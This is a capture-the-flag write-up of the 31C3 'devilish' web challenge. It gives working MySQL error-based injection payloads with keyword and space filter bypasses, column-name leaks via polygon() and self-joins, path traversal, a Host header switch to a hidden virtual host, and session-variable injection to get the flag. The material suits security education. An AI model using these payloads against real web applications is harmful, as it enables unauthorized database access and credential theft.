devilish was a web challenge worth 30 points at the 31C3 CTF.

devilish page

SQL injection

The website itself offered a login form as well as a member list and profile pages. The profile pages used a rewritten URL:

We found a SQL injection vulnerability by adding a backslash \ either after the 55 or Dracula:\/Dracula

This produces an error message in a Halloween-type font, so only checking the HTML source reveals it:

<!--SELECT * FROM users WHERE id_user='55\' AND Us3rN4m3='Dracula'-->
<span class='styleX'>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Dracula'' at line 1</span>

We are dealing with a MySQL dbms and the error is obviously due to the ' getting escaped by the backslash. We also learned a table name: users.

However, the actual injection was rather tricky as a lot of SQL keywords were filtered, such as UNION, GROUP, OR (therefore blocking also infORmation_schema), FILE, ', /*, spaces and some more. Note that in MySQL you can bypass a filter on spaces rather easily with either making use of paranthesis or by using ASCII chars, which MySQL interprets as spaces, such as %09 (tab), %0a (new line), %0b, %0c. %a0.

Without being able to access information_schema we could not retrieve the column names of table users in the traditional way. First we checked the number of columns in users:\/||(select*from(users))=1--%09-

The error output of this gave us the number of columns:

Operand should contain 8 column(s)

Then we continued by using an error based injection with the polygon() method. Queries passed to polygon() are expanded and reflected in the error message:\/||polygon((select(1)from(select*from(users))x))--%09-

The output of this was the following:

Illegal non geometric '(select 1 from (select `devilish`.`users`.`id_user` AS `id_user`,`devilish`.`users`.`Us3rN4m3` AS `Us3rN4m3`,`devilish`.`users`.`Em4iL4dR3Szz` AS `Em4iL4dR3Szz`,`devilish`.`users`.`S4cR3dT3xT0' value found during parsing

As you can see, we now had learned some column names already. However, the output was cut off since the length of error messages was limited. We could get more output by retrieving only a row of NULLs:\/||polygon((select(1)from(select*from(users)where(id_user=0))x))--%09-

Now the output for each column was shorter and we learned additional column names:

Illegal non geometric '(select 1 from (select NULL AS `id_user`,NULL AS `Us3rN4m3`,NULL AS `Em4iL4dR3Szz`,NULL AS `S4cR3dT3xT0Fm3`,NULL AS `MyPh0N3NumB3RHAHA`,NULL AS `Addr3Zz0F_tHi5_D3wD`,NULL AS `CHAR_LOL`,NULL AS' value found during parsing

Unfortunately, the last column name - the one for the password column :) - didn’t fit into the error message, it was cut off at NULL AS.

Another way to leak column names is to join a table with itself:\/||(select(1)from(select*from(users)join(users`x`))f)--%09-

Note, that you need to give the second users table an alias, otherwise MySQL will complain about duplicate tables. This gave us the first column:

Duplicate column name 'id_user'

To get the remaining column names, we have to trick MySQL into ignoring the columns we are not interested in. This can be done with the USING keyword. MySQL assumes that columns passed in a list after USING are present in both tables of the join and joins the table on them:\/||(select(1)from(select*from(users)join(users`x`)using(id_user))f)--%09-

And we get the second column:

Duplicate column name 'Us3rN4m3'

We could retrieve all columns - including the last one - with this method:\/||(select(1)from(select*from(users)join(users`x`)using(id_user,Us3rN4m3,Em4iL4dR3Szz,

Which gave us the password column:

Duplicate column name 'P4sWW0rD_0F_M3_WTF'

Then with simple error based injection we retrieved a login:\/||polygon((select(1)from(select(Us3rN4m3),(P4sWW0rD_0F_M3_WTF)from(users)where(id_user=55))x))--%09-

The output is the username and password of the user with id=55:

Illegal non geometric '(select 1 from (select 'Dracula' AS `Us3rN4m3`,'ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz' AS `P4sWW0rD_0F_M3_WTF` from `devilish`.`users` where ('55' = 55)) `x`)' value found during parsing

user: Dracula
pass: ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz

Directory Listings

When logging in, we were greeted with a page allowing us to browse some directories of the logged in user. However, with simple path traversal it was easy to manage to browse any directory on the server:

devilish flag

We were able to access some of the source pages of the website in the following folder:

We could read the LOGIN script, by simply navigating to the file with the browser:

    if(@$_SESSION['user']){header("location: ".$LINK);die();}
        if(mysqli_num_rows(mysqli_query($con,"SELECT * FROM users WHERE Us3rN4m3='".mysqli_real_escape_string($con,@$_POST['user'])."' AND P4sWW0rD_0F_M3_WTF='".mysqli_real_escape_string($con,@$_POST['pass'])."' "))>0){
            header("location: ".$LINK);die();

Notice that the $_SESSION variable will be set to the $_POST variable here. We will need to use this fact later on.

Other directories of interest were /home/user and /home/devilish.local. The former contained a flag.txt, but there was no way to read it, while the latter contained website files similar to the ones we already knew. Further investigation into the server revealed that in /etc/apache2/sites-enabled next to the default site, the devilish.local virtual host was enabled as well, serving a website out of the /home/devilish.local directory.

Private portal

With simply changing the Host header of the http request to devilish.local, we could then access the website presenting us with a login prompt to a private portal. Again we could fetch the source code of the login page:

    if(@$_SESSION['is_ExclusiveMember']){header("location: ".$LINK);die();}
        if(@$_POST['user']===$uLOGIN && @$_POST['pass']===$uPASSWORD){
            header("location: ".$LINK);

Notice, that the session variable is_ExclusiveMember is used to mark a user as logged in. PHP sessions are not aware of virtual hosts by default and are shared between them. This means, we actually have control over the $_SESSION variable, as in the first LOGIN script, it is set to $_POST.

The things left to do are to login in the first LOGIN script and supply an additional POST parameter is_ExclusiveMember=1. Using the new session cookie, we then make a request to the private LOGIN script and get the flag displayed.

Here's your secret 31c3_Th3r3_4R3_D3v1li5h_Th0ght5_ev3N_1N_th3_M0sT_4ng3l1c_M1nd5